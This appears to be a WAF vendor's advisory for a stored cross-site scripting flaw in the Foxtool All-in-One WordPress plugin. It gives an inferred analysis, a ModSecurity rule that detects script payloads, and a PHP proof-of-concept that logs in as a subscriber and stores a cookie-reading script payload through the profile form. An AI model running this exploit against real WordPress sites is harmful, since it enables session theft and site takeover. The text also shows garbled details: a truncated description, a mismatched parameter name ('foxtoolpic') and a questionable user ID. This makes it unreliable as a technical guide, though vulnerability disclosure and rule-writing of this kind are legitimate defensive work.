Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-85413 (metadata-based): The Foxtool All-in-One WordPress plugin (versions Edit screen. The CVSS score is 6.4, indicating a medium severity issue with scope change.
Root Cause: The vulnerability stems from improper neutralization of user-supplied input (CWE-79). The plugin likely stores the ‘foxtool_image_id’ value in user meta without adequate sanitization and later renders it in an administrative context without output escaping. Atomic Edge analysis infers that the vulnerable code path involves the ‘foxtool_image_id’ parameter being accepted via a profile update or similar mechanism, then echoed unescaped in the user edit screen. This conclusion is based on the CVE description; no source code is available for confirmation.
Exploitation: An authenticated attacker with subscriber privileges can craft a request to update their user meta, setting ‘foxtoolpic’ to a malicious JavaScript payload. This could be done via the WordPress user profile update form or a custom AJAX action exposed by the plugin. The payload executes when an administrator navigates to the Users > Edit page for that user. The attack vector is network-based, requires low privileges, and needs user interaction from the victim admin.
Remediation: The fix requires sanitizing the ‘foxtool_image_id’ input on save and escaping the output when rendering in the admin screen. Use functions like sanitize_text_field() or esc_attr() as appropriate. Since no patched version is available, users should disable the plugin or apply virtual patching.
Impact: Successful exploitation allows an attacker to execute arbitrary JavaScript in an administrator’s session, leading to potential privilege escalation (e.g., creating admin accounts), data theft, or site takeover. The scope is changed because the vulnerable component impacts other components (admin browser).
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-85413 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/profile.php"
"id:202685413,phase:2,deny,status:403,chain,msg:'CVE-2026-85413 via foxtool_image_id parameter XSS',severity:'CRITICAL',tag:'CVE-2026-85413'"
SecRule ARGS_POST:foxtool_image_id "@rx <script|onerror|onload|javascript:"
"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-85413 - Foxtool All-in-One: Contact chat button, Custom login, Media optimize images <= 2.5.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'foxtool_image_id' Parameter
$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password
// Initialize cURL
$ch = curl_init();
// Step 1: Log in as the subscriber to obtain cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if ($response === false) {
die('Login failed: ' . curl_error($ch));
}
// Step 2: Update user meta with malicious payload via profile update
// The plugin likely hooks into profile update or a custom AJAX action. We assume the parameter 'foxtool_image_id' is accepted in the profile page.
$profile_url = $target_url . '/wp-admin/profile.php';
$payload = '"><script>alert(document.cookie);</script>'; // XSS payload
$profile_data = array(
'action' => 'update',
'user_id' => '1', // Assuming user ID 1 (subscriber's own ID, but may need to be dynamic)
'foxtool_image_id' => $payload,
'submit' => 'Update Profile'
);
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($profile_data));
$response = curl_exec($ch);
if ($response === false) {
die('Profile update failed: ' . curl_error($ch));
}
// Step 3: Trigger execution by simulating admin viewing the user's profile (for verification)
// In a real attack, the admin would visit the page. Here we just note it.
echo "Payload stored. When an admin visits the user's profile edit page, the XSS will execute.n";
curl_close($ch);
unlink('cookies.txt'); // Clean up
?>